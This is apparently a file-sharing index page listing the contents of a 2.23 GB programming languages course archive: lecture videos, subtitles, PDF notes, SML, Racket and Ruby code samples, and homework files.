programming-languages

mp4   Hot:30   Size:2.23 GB   Created:2022-11-05 21:22:09   Update:2023-03-25 14:22:43  

Download link

File List

  • section-7/9 - 17 - Overriding and Dynamic Dispatch (10_56).mp4 34.04 MB
    section-0/1 - 4 - Software Installation Introduction (1-22).srt 2.33 KB
    section-0/1 - 2 - Course Introduction- About Programming Languages (12-04).mp4 16.08 MB
    section-0/1 - 2 - Course Introduction- About Programming Languages (12-04).srt 18.72 KB
    section-0/notes/1_meta_intro.pdf 379.29 KB
    section-0/notes/2_pl_intro.pdf 101.09 KB
    section-0/notes/2b_grading_policy.pdf 107.44 KB
    section-0/1 - 1 - Course Introduction- About the Course (12-23).srt 22.6 KB
    section-0/1 - 1 - Course Introduction- About the Course (12-23).mp4 12.65 MB
    section-0/1 - 5 - Emacs installation (2-27).mp4 3.38 MB
    section-0/1 - 4 - Software Installation Introduction (1-22).mp4 1.53 MB
    section-0/1 - 3 - Grading Policy (12-59).srt 22.2 KB
    section-0/1 - 3 - Grading Policy (12-59).mp4 13.38 MB
    section-0/code/IntBinaryTree.java 610 B
    section-0/1 - 5 - Emacs installation (2-27).srt 3.79 KB
    section-0/1 - 6 - SML installation (1-47).srt 2.69 KB
    section-0/1 - 6 - SML installation (1-47).mp4 2.5 MB
    section-0/1 - 7 - SML Mode installation (3-52).srt 5.88 KB
    section-0/1 - 7 - SML Mode installation (3-52).mp4 6.45 MB
    wrapup/11 - 1 - Optional_ Course Content Wrapup (9_43).mp4 14.21 MB
    wrapup/11 - 2 - Optional_ MOOC Wrapup (9_39).srt 15.8 KB
    wrapup/11 - 1 - Optional_ Course Content Wrapup (9_43).srt 15.18 KB
    wrapup/11 - 2 - Optional_ MOOC Wrapup (9_39).mp4 13.22 MB
    section-6/8 - 18 - Optional_ eval and quote (7_58).srt 11.46 KB
    section-6/8 - 13 - What is Static Checking_ (10_00).srt 14.74 KB
    section-6/8 - 1 - Section 6 Reading Notes.mp4 704.85 KB
    section-6/notes/120_static_vs_dynamic_one.pdf 114.86 KB
    section-6/notes/section6sum.pdf 237.83 KB
    section-6/notes/113_implementing_closures.pdf 97.18 KB
    section-6/notes/110_implement_a_language.pdf 130.7 KB
    section-6/notes/108_datatypes_with_structs.pdf 113.31 KB
    section-6/notes/114_closures_efficient.pdf 101.87 KB
    section-6/notes/106_section_topics.pptx 101.68 KB
    section-6/notes/112_implementing_variables.pdf 108.85 KB
    section-6/notes/119_weak_typing.pdf 109.25 KB
    section-6/notes/122_eval.pdf 121.78 KB
    section-6/notes/118_soundness_completeness.pdf 104.54 KB
    section-6/notes/121_static_vs_dynamic_two.pdf 119.46 KB
    section-6/notes/111_interpreter_assumptions.pdf 107.09 KB
    section-6/notes/117_what_is_static_checking.pdf 120.25 KB
    section-6/notes/115_macros_via_functions.pdf 95.77 KB
    section-6/notes/116_ml_vs_racket.pdf 129.7 KB
    section-6/notes/107_datatypes_without_structs.pdf 115.67 KB
    section-6/notes/109_why_structs.pdf 114.07 KB
    section-6/8 - 4 - Datatype-Programming in Racket With Structs (9_34).srt 12.09 KB
    section-6/8 - 3 - Datatype-Programming in Racket Without Structs (13_21).srt 18.23 KB
    section-6/8 - 10 - Optional_ Are Closures Efficient_ (9_03).srt 12.74 KB
    section-6/8 - 15 - Weak Typing (9_39).mp4 13.74 MB
    section-6/8 - 7 - What Your Interpreter Can and Cannot Assume (13_47).srt 18.83 KB
    section-6/8 - 1 - Section 6 Reading Notes.srt 1023 B
    section-6/8 - 5 - Advantages of Structs (8_13).mp4 11.93 MB
    section-6/8 - 5 - Advantages of Structs (8_13).srt 11.04 KB
    section-6/8 - 15 - Weak Typing (9_39).srt 13.94 KB
    section-6/8 - 2 - Section Introduction (2_08).srt 3.18 KB
    section-6/8 - 12 - ML Versus Racket (8_53).srt 13.39 KB
    section-6/8 - 11 - Racket Functions As “Macros” For Interpreted Language (9_15).srt 11.65 KB
    section-6/8 - 9 - Implementing Closures (6_32).srt 9.06 KB
    section-6/8 - 18 - Optional_ eval and quote (7_58).mp4 11.85 MB
    section-6/8 - 13 - What is Static Checking_ (10_00).mp4 15.1 MB
    section-6/code/111_interpreter_assumptions.rkt 3.81 KB
    section-6/code/107_datatypes_without_structs.sml 1.54 KB
    section-6/code/108_datatypes_with_structs.rkt 921 B
    section-6/code/115_macros_via_functions.rkt 3.13 KB
    section-6/code/107_datatypes_without_structs.rkt 2.67 KB
    section-6/code/122_eval.rkt 527 B
    section-6/code/120_static_vs_dynamic_one.rkt 752 B
    section-6/code/120_static_vs_dynamic_one.sml 955 B
    section-6/8 - 16 - Static Versus Dynamic Typing, Part One (9_40).mp4 13.98 MB
    section-6/8 - 8 - Implementing Variables and Environments (6_29).srt 9.25 KB
    section-6/8 - 12 - ML Versus Racket (8_53).mp4 13 MB
    section-6/8 - 6 - Implementing Programming Languages (10_07).srt 14.79 KB
    section-6/8 - 6 - Implementing Programming Languages (10_07).mp4 14.33 MB
    section-6/8 - 14 - Soundness and Completeness (9_46).mp4 14.39 MB
    section-6/8 - 16 - Static Versus Dynamic Typing, Part One (9_40).srt 13.91 KB
    section-6/8 - 7 - What Your Interpreter Can and Cannot Assume (13_47).mp4 22.05 MB
    section-6/8 - 9 - Implementing Closures (6_32).mp4 9.55 MB
    section-6/8 - 8 - Implementing Variables and Environments (6_29).mp4 9.13 MB
    section-6/8 - 4 - Datatype-Programming in Racket With Structs (9_34).mp4 14.5 MB
    section-6/8 - 3 - Datatype-Programming in Racket Without Structs (13_21).mp4 20.71 MB
    section-6/8 - 10 - Optional_ Are Closures Efficient_ (9_03).mp4 13.07 MB
    section-6/8 - 17 - Static Versus Dynamic Typing, Part Two (13_47).mp4 19.22 MB
    section-6/8 - 2 - Section Introduction (2_08).mp4 3.03 MB
    section-6/8 - 14 - Soundness and Completeness (9_46).srt 13.18 KB
    section-6/8 - 11 - Racket Functions As “Macros” For Interpreted Language (9_15).mp4 13.96 MB
    section-6/8 - 17 - Static Versus Dynamic Typing, Part Two (13_47).srt 20.34 KB
    section-7/9 - 2 - Introduction to Ruby (10_08).srt 15.67 KB
    section-7/9 - 19 - Dynamic Dispatch Versus Closures (9_38).mp4 14.54 MB
    section-7/9 - 8 - Class Definitions are Dynamic (7_42).srt 10.3 KB
    section-7/9 - 16 - Why Use Subclassing_ (7_16).srt 10.09 KB
    section-7/9 - 2 - Introduction to Ruby (10_08).mp4 14.07 MB
    section-7/notes/133_using_blocks.pdf 127.47 KB
    section-7/notes/140_dynamic_dispatch_vs_closures.pdf 104.58 KB
    section-7/notes/135_hashes_ranges.pdf 97.52 KB
    section-7/notes/134_procs.pdf 107.29 KB
    section-7/notes/126_visibility.pdf 112.54 KB
    section-7/notes/137_why_subclassing.pdf 104.89 KB
    section-7/notes/128_all_objects.pdf 103.17 KB
    section-7/notes/section7sum.pdf 241.64 KB
    section-7/notes/136_subclassing.pdf 108.35 KB
    section-7/notes/129_classes_dynamic.pdf 134.63 KB
    section-7/notes/141_manual_dynamic_dispatch.pdf 144.26 KB
    section-7/notes/131_arrays.pdf 91.08 KB
    section-7/notes/125_object_state.pdf 111.43 KB
    section-7/notes/123_ruby_intro.pdf 106.35 KB
    section-7/notes/124_classes_objects.pdf 107.09 KB
    section-7/notes/132_blocks.pdf 104.5 KB
    section-7/notes/138_overriding.pdf 204.76 KB
    section-7/notes/127_example.pdf 88.82 KB
    section-7/notes/139_method_lookup.pdf 112.6 KB
    section-7/notes/130_duck_typing.pdf 102.7 KB
    section-7/9 - 18 - Method-Lookup Rules, Precisely (11_31).mp4 16.95 MB
    section-7/9 - 1 - Section 7 Reading Notes.mp4 704.85 KB
    section-7/9 - 4 - Object State (13_14).mp4 18.9 MB
    section-7/9 - 3 - Classes and Objects (12_37).mp4 17.89 MB
    section-7/9 - 15 - Subclassing (10_11).mp4 14.78 MB
    section-7/9 - 13 - Procs (7_08).mp4 10.18 MB
    section-7/9 - 10 - Arrays (11_13).srt 15.82 KB
    section-7/9 - 11 - Blocks (11_34).srt 16.35 KB
    section-7/9 - 12 - Using Blocks (6_24).srt 8.87 KB
    section-7/9 - 5 - Visibility (8_39).srt 12.07 KB
    section-7/9 - 1 - Section 7 Reading Notes.srt 997 B
    section-7/9 - 8 - Class Definitions are Dynamic (7_42).mp4 11.48 MB
    section-7/9 - 19 - Dynamic Dispatch Versus Closures (9_38).srt 12.55 KB
    section-7/9 - 7 - Everything is an Object (8_15).srt 11.5 KB
    section-7/9 - 20 - Optional_ Dynamic Dispatch Manually in Racket (15_56).srt 21.95 KB
    section-7/code/127_example.rb 2.47 KB
    section-7/code/125_object_state.rb 1.19 KB
    section-7/code/124_classes_objects.rb 778 B
    section-7/code/135_hashes_ranges.rb 619 B
    section-7/code/136_subclassing.rb 1.02 KB
    section-7/code/138_overriding.rb 1.57 KB
    section-7/code/123_ruby_intro.rb 205 B
    section-7/code/129_classes_dynamic.rb 502 B
    section-7/code/140_dynamic_dispatch_vs_closures.sml 596 B
    section-7/code/140_dynamic_dispatch_vs_closures.rb 719 B
    section-7/code/133_using_blocks.rb 456 B
    section-7/code/132_blocks.rb 646 B
    section-7/code/131_arrays.rb 959 B
    section-7/code/134_procs.rb 366 B
    section-7/code/141_manual_dynamic_dispatch.rkt 3.95 KB
    section-7/9 - 3 - Classes and Objects (12_37).srt 17.21 KB
    section-7/9 - 15 - Subclassing (10_11).srt 13.83 KB
    section-7/9 - 6 - A Longer Example (12_19).srt 17.2 KB
    section-7/9 - 20 - Optional_ Dynamic Dispatch Manually in Racket (15_56).mp4 26.11 MB
    section-7/9 - 14 - Hashes and Ranges (8_59).mp4 13.08 MB
    section-7/9 - 16 - Why Use Subclassing_ (7_16).mp4 10.48 MB
    section-7/9 - 9 - Duck Typing (7_28).srt 10.47 KB
    section-7/9 - 6 - A Longer Example (12_19).mp4 17.79 MB
    section-7/9 - 10 - Arrays (11_13).mp4 15.93 MB
    section-7/9 - 4 - Object State (13_14).srt 17.55 KB
    section-7/9 - 17 - Overriding and Dynamic Dispatch (10_56).srt 14.89 KB
    section-7/9 - 5 - Visibility (8_39).mp4 12.24 MB
    section-7/9 - 12 - Using Blocks (6_24).mp4 17.07 MB
    section-7/9 - 14 - Hashes and Ranges (8_59).srt 12.22 KB
    section-7/9 - 18 - Method-Lookup Rules, Precisely (11_31).srt 15.84 KB
    section-7/9 - 13 - Procs (7_08).srt 9.81 KB
    section-7/9 - 9 - Duck Typing (7_28).mp4 10.93 MB
    section-7/9 - 7 - Everything is an Object (8_15).mp4 12.79 MB
    section-7/9 - 11 - Blocks (11_34).mp4 16.41 MB
    assignments/hw1.pdf 103.27 KB
    assignments/hw3.pdf 124.66 KB
    assignments/dog.jpg 16.7 KB
    assignments/hw3provided.sml 831 B
    assignments/hw6graphicsswing.rb 7.49 KB
    assignments/hw2test.sml 1.69 KB
    assignments/hw0provided.sml 303 B
    assignments/hw6graphics.rb 2.14 KB
    assignments/hw2provided.sml 748 B
    assignments/hw5.rkt 3.17 KB
    assignments/hw0.pdf 77.24 KB
    assignments/hw7.pdf 120.25 KB
    assignments/hw7.rb 5.73 KB
    assignments/hw6provided.rb 11.69 KB
    assignments/hw2.pdf 110.72 KB
    assignments/curry.jpg 9.31 KB
    assignments/hw4.rkt 115 B
    assignments/hw1test.sml 1.1 KB
    assignments/hw7testsprovided.sml 2.2 KB
    assignments/hw4.pdf 118.19 KB
    assignments/hw6runner.rb 486 B
    assignments/hw7testsprovided.rb 5.14 KB
    assignments/hw5test.rkt 2.32 KB
    assignments/hw7.sml 7.13 KB
    assignments/hw6assignment.rb 400 B
    assignments/hw4test.rkt 2.15 KB
    assignments/dan.jpg 34.71 KB
    assignments/dog2.jpg 15.5 KB
    assignments/hw5.pdf 144.67 KB
    assignments/hw6.pdf 102.76 KB
    optional-course_motivation/5 - 2 - Optional_ Why Study General PL Concepts_ (10_30).srt 15.53 KB
    optional-course_motivation/5 - 3 - Optional_ Are All PLs the Same_ (6_51).srt 10.48 KB
    optional-course_motivation/m3_pls_the_same.pdf 68.28 KB
    optional-course_motivation/m1_motivation_intro.pdf 73.27 KB
    optional-course_motivation/5 - 4 - Optional_ Why Functional Languages_ (11_15).mp4 15.21 MB
    optional-course_motivation/5 - 3 - Optional_ Are All PLs the Same_ (6_51).mp4 9.59 MB
    optional-course_motivation/5 - 5 - Optional_ Why ML, Racket, and Ruby_ (12_34).mp4 17.66 MB
    optional-course_motivation/5 - 4 - Optional_ Why Functional Languages_ (11_15).srt 17.03 KB
    optional-course_motivation/5 - 5 - Optional_ Why ML, Racket, and Ruby_ (12_34).srt 20.45 KB
    optional-course_motivation/5 - 1 - Optional_ Course-Motivation Introduction (5_56).srt 9.63 KB
    optional-course_motivation/m4_why_functional.pdf 88.98 KB
    optional-course_motivation/5 - 2 - Optional_ Why Study General PL Concepts_ (10_30).mp4 14.58 MB
    optional-course_motivation/m2_motivation_general.pdf 75.7 KB
    optional-course_motivation/5 - 1 - Optional_ Course-Motivation Introduction (5_56).mp4 8.17 MB
    optional-course_motivation/m5_why_these_languages.pdf 89.76 KB
    section-2/3 - 3 - Records (8-25).mp4 11.72 MB
    section-2/3 - 17 - More Nested Patterns (10-43).srt 15.1 KB
    section-2/3 - 13 - Each of Pattern Matching - Truth About Functions (14-30).srt 20.8 KB
    section-2/notes/33_polymorphic_and_equality_types.pdf 108.86 KB
    section-2/notes/37_function_patterns.pdf 94.57 KB
    section-2/notes/31_eachof_pattern_matching.pdf 135.92 KB
    section-2/notes/34_nested_patterns.pdf 97.67 KB
    section-2/notes/29_list_and_option_datatypes.pdf 105.83 KB
    section-2/notes/25_useful_datatypes.pdf 110.72 KB
    section-2/notes/27_type_synonyms.pdf 97.09 KB
    section-2/notes/30_polymorphic_datatypes.pdf 107.62 KB
    section-2/notes/39_tail_recursion.pdf 123.1 KB
    section-2/notes/38_exceptions.pdf 95.36 KB
    section-2/notes/20_building_new_types.pdf 160.17 KB
    section-2/notes/21_records.pdf 104.63 KB
    section-2/notes/41_tail_recursion_perspective.pdf 97.48 KB
    section-2/notes/26_precise_pattern_matching_sofar.pdf 106.13 KB
    section-2/notes/24_case_expressions.pdf 104.23 KB
    section-2/notes/22_tuples_as_syntactic_sugar.pdf 102.87 KB
    section-2/notes/23_datatype_bindings.pdf 163.77 KB
    section-2/notes/40_accumulators.pdf 103.32 KB
    section-2/notes/35_more_nested_patterns.pdf 89.52 KB
    section-2/notes/section2sum.pdf 243.67 KB
    section-2/notes/28_another_expression_example.pdf 93.6 KB
    section-2/notes/36_nested_patterns_precisely.pdf 90.9 KB
    section-2/notes/32_type_inference.pdf 101.72 KB
    section-2/3 - 12 - Polymorphic Datatypes (8-11).mp4 11.99 MB
    section-2/3 - 4 - Tuples as Syntactic Sugar (6-06).mp4 8.72 MB
    section-2/3 - 13 - Each of Pattern Matching - Truth About Functions (14-30).mp4 20.35 MB
    section-2/3 - 5 - Datatype Bindings (8-39).mp4 9.14 MB
    section-2/3 - 23 - Perspective on Tail Recursion (5-33).mp4 7.78 MB
    section-2/3 - 16 - Nested Patterns (10-32).srt 14.84 KB
    section-2/3 - 15 - Polymorphic and Equality Types (8-00).srt 11.8 KB
    section-2/3 - 9 - Another Expression Example (8-01).srt 12.17 KB
    section-2/3 - 8 - Pattern Matching So Far (4-37).mp4 6.28 MB
    section-2/3 - 6 - Case Expressions (10-50).srt 15.88 KB
    section-2/3 - 20 - Exceptions (7-47).mp4 11.29 MB
    section-2/3 - 2 - Building Compound Types (5-34).mp4 16.79 MB
    section-2/3 - 23 - Perspective on Tail Recursion (5-33).srt 7.58 KB
    section-2/3 - 14 - A Little Type Inference (6-28).mp4 9.79 MB
    section-2/3 - 6 - Case Expressions (10-50).mp4 15.79 MB
    section-2/3 - 17 - More Nested Patterns (10-43).mp4 10.84 MB
    section-2/3 - 5 - Datatype Bindings (8-39).srt 12.17 KB
    section-2/3 - 8 - Pattern Matching So Far (4-37).srt 6.71 KB
    section-2/3 - 16 - Nested Patterns (10-32).mp4 15.41 MB
    section-2/code/30_polymorphic_datatypes.sml 1.29 KB
    section-2/code/23_datatype_bindings.sml 479 B
    section-2/code/29_list_and_option_datatypes.sml 656 B
    section-2/code/40_accumulators.sml 598 B
    section-2/code/39_tail_recursion.sml 255 B
    section-2/code/35_more_nested_patterns.sml 929 B
    section-2/code/21_records.sml 271 B
    section-2/code/37_function_patterns.sml 689 B
    section-2/code/24_case_expressions.sml 415 B
    section-2/code/32_type_inference.sml 766 B
    section-2/code/27_type_synonyms.sml 1.01 KB
    section-2/code/34_nested_patterns.sml 1.18 KB
    section-2/code/22_tuples_as_syntactic_sugar.sml 633 B
    section-2/code/38_exceptions.sml 802 B
    section-2/code/25_useful_datatypes.sml 1.02 KB
    section-2/code/28_another_expression_example.sml 1.18 KB
    section-2/code/31_eachof_pattern_matching.sml 861 B
    section-2/code/33_polymorphic_and_equality_types.sml 537 B
    section-2/3 - 11 - Lists and Options are Datatypes (9-10).srt 13.9 KB
    section-2/3 - 19 - Optional- Function Patterns (3-40).mp4 5.42 MB
    section-2/3 - 21 - Tail Recursion (9-44).mp4 13.58 MB
    section-2/3 - 21 - Tail Recursion (9-44).srt 13.63 KB
    section-2/3 - 7 - Useful Datatypes (11-22).srt 16.97 KB
    section-2/3 - 10 - Type Synonyms (6-19).mp4 9.39 MB
    section-2/3 - 4 - Tuples as Syntactic Sugar (6-06).srt 8.46 KB
    section-2/3 - 1 - Section 2 Reading Notes.mp4 704.85 KB
    section-2/3 - 14 - A Little Type Inference (6-28).srt 9.11 KB
    section-2/3 - 19 - Optional- Function Patterns (3-40).srt 5.19 KB
    section-2/3 - 18 - Nested Patterns Precisely (6-35).srt 9.21 KB
    section-2/3 - 9 - Another Expression Example (8-01).mp4 11.92 MB
    section-2/3 - 10 - Type Synonyms (6-19).srt 9.39 KB
    section-2/3 - 22 - Accumulators for Tail Recursion (7-39).srt 10.51 KB
    section-2/3 - 1 - Section 2 Reading Notes.srt 1005 B
    section-2/3 - 3 - Records (8-25).srt 13.02 KB
    section-2/3 - 7 - Useful Datatypes (11-22).mp4 16.16 MB
    section-2/3 - 12 - Polymorphic Datatypes (8-11).srt 11.85 KB
    section-2/3 - 20 - Exceptions (7-47).srt 11.14 KB
    section-2/3 - 18 - Nested Patterns Precisely (6-35).mp4 9.59 MB
    section-2/3 - 2 - Building Compound Types (5-34).srt 8.33 KB
    section-2/3 - 22 - Accumulators for Tail Recursion (7-39).mp4 10.57 MB
    section-2/3 - 15 - Polymorphic and Equality Types (8-00).mp4 11.41 MB
    section-2/3 - 11 - Lists and Options are Datatypes (9-10).mp4 12.6 MB
    section-1/2 - 7 - Functions Formally (8-56).mp4 12.81 MB
    section-1/2 - 15 - Booleans and Comparison Operations (7-00).srt 10.7 KB
    section-1/notes/9_tuples.pdf 118.08 KB
    section-1/notes/14_let_efficiency.pdf 229.78 KB
    section-1/notes/8_functions_formal.pdf 126.46 KB
    section-1/notes/5_REPL_and_errors.pdf 98.5 KB
    section-1/notes/16_booleans.pdf 109.52 KB
    section-1/notes/13_nested_functions.pdf 109.13 KB
    section-1/notes/11_list_functions.pdf 101.02 KB
    section-1/notes/15_options.pdf 103.04 KB
    section-1/notes/12_let_expressions.pdf 129.6 KB
    section-1/notes/19_language_pieces.pdf 83.99 KB
    section-1/notes/6_shadowing.pdf 102.8 KB
    section-1/notes/17_no_mutation.pdf 140.26 KB
    section-1/notes/10_lists.pdf 106.53 KB
    section-1/notes/18_optional_java_mutation.pdf 126.03 KB
    section-1/notes/4_rules_for_expressions.pdf 126.48 KB
    section-1/notes/7_functions_informal.pdf 110.06 KB
    section-1/notes/section1sum.pdf 221.09 KB
    section-1/notes/3_ML_expressions_and_variable_bindings.pdf 121.41 KB
    section-1/2 - 13 - Let and Efficiency (10-10).mp4 10.8 MB
    section-1/2 - 9 - Introducing Lists (10-34).mp4 15.14 MB
    section-1/2 - 1 - Section 1 Reading Notes.mp4 704.85 KB
    section-1/2 - 5 - Shadowing (6-49).srt 9.08 KB
    section-1/2 - 17 - Optional- Java Mutation (4-44).srt 6.81 KB
    section-1/2 - 10 - List Functions (11-21).srt 16.14 KB
    section-1/2 - 3 - Rules for Expressions (9-13).srt 13.28 KB
    section-1/2 - 11 - Let Expressions (7-51).srt 11.93 KB
    section-1/2 - 6 - Functions Informally (7-37).mp4 10.36 MB
    section-1/2 - 5 - Shadowing (6-49).mp4 9.15 MB
    section-1/2 - 10 - List Functions (11-21).mp4 15.67 MB
    section-1/code/5_errors_fixed.sml 344 B
    section-1/code/7_functions.sml 332 B
    section-1/code/9_tuples.sml 693 B
    section-1/code/13_nested_functions.sml 465 B
    section-1/code/5_some_errors.sml 315 B
    section-1/code/6_shadowing.sml 298 B
    section-1/code/10_repl.txt 2.45 KB
    section-1/code/11_list_functions.sml 988 B
    section-1/code/3_our_first_program.sml 1.11 KB
    section-1/code/15_options.sml 1.04 KB
    section-1/code/12_let_expressions.sml 341 B
    section-1/code/14_let_efficiency.sml 904 B
    section-1/2 - 16 - Benefits of No Mutation (7-24).mp4 10.85 MB
    section-1/2 - 8 - Pairs and Other Tuples (9-16).srt 13.26 KB
    section-1/2 - 18 - Pieces of a Language (6-02).srt 9.67 KB
    section-1/2 - 15 - Booleans and Comparison Operations (7-00).mp4 10.01 MB
    section-1/2 - 17 - Optional- Java Mutation (4-44).mp4 7.2 MB
    section-1/2 - 2 - ML Variable Bindings and Expressions (14-32).srt 20.38 KB
    section-1/2 - 7 - Functions Formally (8-56).srt 12.74 KB
    section-1/2 - 12 - Nested Functions (7-38).mp4 10.78 MB
    section-1/2 - 2 - ML Variable Bindings and Expressions (14-32).mp4 20.08 MB
    section-1/2 - 12 - Nested Functions (7-38).srt 11.53 KB
    section-1/2 - 18 - Pieces of a Language (6-02).mp4 8.79 MB
    section-1/2 - 4 - The REPL and Errors (12-10).srt 18.85 KB
    section-1/2 - 8 - Pairs and Other Tuples (9-16).mp4 12.6 MB
    section-1/2 - 13 - Let and Efficiency (10-10).srt 14.66 KB
    section-1/2 - 9 - Introducing Lists (10-34).srt 15.52 KB
    section-1/2 - 14 - Options (9-09).mp4 13.06 MB
    section-1/2 - 4 - The REPL and Errors (12-10).mp4 18.51 MB
    section-1/2 - 16 - Benefits of No Mutation (7-24).srt 10.88 KB
    section-1/2 - 11 - Let Expressions (7-51).mp4 10.64 MB
    section-1/2 - 3 - Rules for Expressions (9-13).mp4 12.33 MB
    section-1/2 - 6 - Functions Informally (7-37).srt 10.94 KB
    section-1/2 - 14 - Options (9-09).srt 13.23 KB
    section-1/2 - 1 - Section 1 Reading Notes.srt 1.02 KB
    section-4/6 - 3 - What is Type Inference (5_37).mp4 7.93 MB
    section-4/notes/75_signatures_for_example.pdf 116.68 KB
    section-4/notes/80_function_equivalence.pdf 139.79 KB
    section-4/notes/79_modules_different_types.pdf 94.85 KB
    section-4/notes/82_equivalence_performance.pdf 98.65 KB
    section-4/notes/81_standard_equivalences.pdf 104.7 KB
    section-4/notes/70_other_inference.pdf 119.26 KB
    section-4/notes/72_namespace_mgmt.pdf 116.07 KB
    section-4/notes/77_equivalent_structure.pdf 98.83 KB
    section-4/notes/73_signatures.pdf 170.49 KB
    section-4/notes/section4sum.pdf 218.76 KB
    section-4/notes/66_what_is_type_inference.pdf 101.38 KB
    section-4/notes/68_type_inference_examples.pdf 75.57 KB
    section-4/notes/74_module_example.pdf 104.43 KB
    section-4/notes/65_section_introduction.pdf 78.75 KB
    section-4/notes/78_another_equivalent_structure.pdf 105.28 KB
    section-4/notes/71_mutual_recursion.pdf 103.34 KB
    section-4/notes/76_signature_matching.pdf 91.52 KB
    section-4/notes/67_ML_type_inference.pdf 108.28 KB
    section-4/notes/69_polymorphic_examples.pdf 76.42 KB
    section-4/6 - 2 - Section Introduction (1_45).srt 2.87 KB
    section-4/6 - 2 - Section Introduction (1_45).mp4 2.33 MB
    section-4/6 - 16 - Different Modules Define Different Types (3_32).srt 4.57 KB
    section-4/6 - 12 - Signatures for Our Example (11_03).srt 15.67 KB
    section-4/6 - 16 - Different Modules Define Different Types (3_32).mp4 5.56 MB
    section-4/6 - 5 - Type Inference Examples (10_27).srt 13.92 KB
    section-4/6 - 12 - Signatures for Our Example (11_03).mp4 16.7 MB
    section-4/6 - 9 - Modules for Namespace Management (6_25).mp4 9.36 MB
    section-4/6 - 14 - An Equivalent Structure (6_38).mp4 9.93 MB
    section-4/6 - 18 - Standard Equivalences (10_01).mp4 14.21 MB
    section-4/6 - 13 - Signature Matching (4_03).srt 5.81 KB
    section-4/code/79_modules_different_types.sml 3.97 KB
    section-4/code/68_type_inference_examples.sml 2.29 KB
    section-4/code/71_mutual_recursion.sml 1.53 KB
    section-4/code/75_signatures_for_example.sml 3.1 KB
    section-4/code/74_module_example.sml 1.58 KB
    section-4/code/67_ml_type_inference.sml 369 B
    section-4/code/70_other_inference.sml 580 B
    section-4/code/78_another_equivalent_structure.sml 2.35 KB
    section-4/code/72_namespace_mgmt.sml 364 B
    section-4/code/66_what_is_type_inference.sml 279 B
    section-4/code/69_polymorphic_examples.sml 1.81 KB
    section-4/code/77_equivalent_structure.sml 2.78 KB
    section-4/code/73_signatures.sml 549 B
    section-4/6 - 13 - Signature Matching (4_03).mp4 6.08 MB
    section-4/6 - 19 - Equivalence Versus Performance (6_00).srt 8.94 KB
    section-4/6 - 1 - Section 4 Reading Notes.mp4 704.85 KB
    section-4/6 - 15 - Another Equivalent Structure (9_01).mp4 13.99 MB
    section-4/6 - 4 - ML Type Inference (6_09).srt 9.1 KB
    section-4/6 - 11 - A Module Example (11_06).srt 15.56 KB
    section-4/6 - 14 - An Equivalent Structure (6_38).srt 8.63 KB
    section-4/6 - 4 - ML Type Inference (6_09).mp4 8.72 MB
    section-4/6 - 10 - Signatures and Hiding Things (7_02).srt 9.74 KB
    section-4/6 - 17 - Equivalent Functions (8_41).mp4 25.91 MB
    section-4/6 - 5 - Type Inference Examples (10_27).mp4 10.41 MB
    section-4/6 - 6 - Polymorphic Examples (10_52).srt 13.61 KB
    section-4/6 - 17 - Equivalent Functions (8_41).srt 13 KB
    section-4/6 - 8 - Mutual Recursion (9_45).mp4 14.18 MB
    section-4/6 - 8 - Mutual Recursion (9_45).srt 14.25 KB
    section-4/6 - 1 - Section 4 Reading Notes.srt 966 B
    section-4/6 - 7 - Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).srt 14.77 KB
    section-4/6 - 7 - Optional_ The Value Restriction and Other Type-Inference Challenges (9_53).mp4 14.28 MB
    section-4/6 - 15 - Another Equivalent Structure (9_01).srt 12.27 KB
    section-4/6 - 3 - What is Type Inference (5_37).srt 7.89 KB
    section-4/6 - 10 - Signatures and Hiding Things (7_02).mp4 10.25 MB
    section-4/6 - 18 - Standard Equivalences (10_01).srt 13.82 KB
    section-4/6 - 6 - Polymorphic Examples (10_52).mp4 14.87 MB
    section-4/6 - 9 - Modules for Namespace Management (6_25).srt 9.25 KB
    section-4/6 - 11 - A Module Example (11_06).mp4 16.13 MB
    section-4/6 - 19 - Equivalence Versus Performance (6_00).mp4 8.81 MB
    section-3/4 - 23 - Optional- Java Without Closures (12-08).srt 18.26 KB
    section-3/4 - 10 - Lexical Scope and Higher-Order Functions (7-37).srt 10.18 KB
    section-3/4 - 7 - Map and Filter (8-56).srt 12.34 KB
    section-3/4 - 5 - Anonymous Functions (9-17).mp4 13.07 MB
    section-3/4 - 19 - Closure Idiom- Callbacks (8-25).mp4 12.18 MB
    section-3/4 - 16 - Partial Application (9-41).srt 13.32 KB
    section-3/4 - 18 - Mutable References (8-07).srt 10.64 KB
    section-3/4 - 2 - Introduction to First-Class Functions (7-50).mp4 11.11 MB
    section-3/notes/49_lexical_scope.pdf 104.8 KB
    section-3/notes/60_library_docs.pdf 103.83 KB
    section-3/notes/63_java_without_closures.pdf 118.5 KB
    section-3/notes/57_currying_wrapup.pdf 97.7 KB
    section-3/notes/50_lexical_scope_and_functions.pdf 103.75 KB
    section-3/notes/44_types_and_functions.pdf 98.43 KB
    section-3/notes/46_unnecessary_function_wrapping.pdf 85.87 KB
    section-3/notes/56_partial_application.pdf 221.76 KB
    section-3/notes/62_without_closures.pdf 125.35 KB
    section-3/notes/43_functions_as_arguments.pdf 96.96 KB
    section-3/notes/61_adts_with_closures.pdf 79.16 KB
    section-3/notes/64_c_without_closures.pdf 104.09 KB
    section-3/notes/53_fold_and_more_closures.pdf 105.13 KB
    section-3/notes/52_closures_and_recomputation.pdf 95.35 KB
    section-3/notes/59_callbacks.pdf 141.73 KB
    section-3/notes/section3sum.pdf 225.9 KB
    section-3/notes/42_functions_intro.pdf 101.85 KB
    section-3/notes/45_anonymous_functions.pdf 98.83 KB
    section-3/notes/47_map_and_filter.pdf 150.72 KB
    section-3/notes/51_why_lexical_scope.pdf 106 KB
    section-3/notes/54_combining_functions.pdf 108.32 KB
    section-3/notes/55_currying.pdf 143.44 KB
    section-3/notes/48_generalizing_prior_topics.pdf 100.03 KB
    section-3/notes/58_mutable_references.pdf 109.41 KB
    section-3/4 - 24 - Optional- C Without Closures (10-56).mp4 11.95 MB
    section-3/4 - 21 - Optional- Abstract Data Types With Closures (11-14).mp4 16.63 MB
    section-3/4 - 14 - Closure Idiom- Combining Functions (9-18).mp4 13.19 MB
    section-3/4 - 9 - Lexical Scope (7-22).srt 9.84 KB
    section-3/4 - 19 - Closure Idiom- Callbacks (8-25).srt 11.61 KB
    section-3/4 - 16 - Partial Application (9-41).mp4 14.96 MB
    section-3/4 - 13 - Fold and More Closures (11-28).mp4 16.64 MB
    section-3/4 - 22 - Optional- Closure Idioms Without Closures (4-48).srt 7.18 KB
    section-3/4 - 1 - Section 3 Reading Notes.srt 1004 B
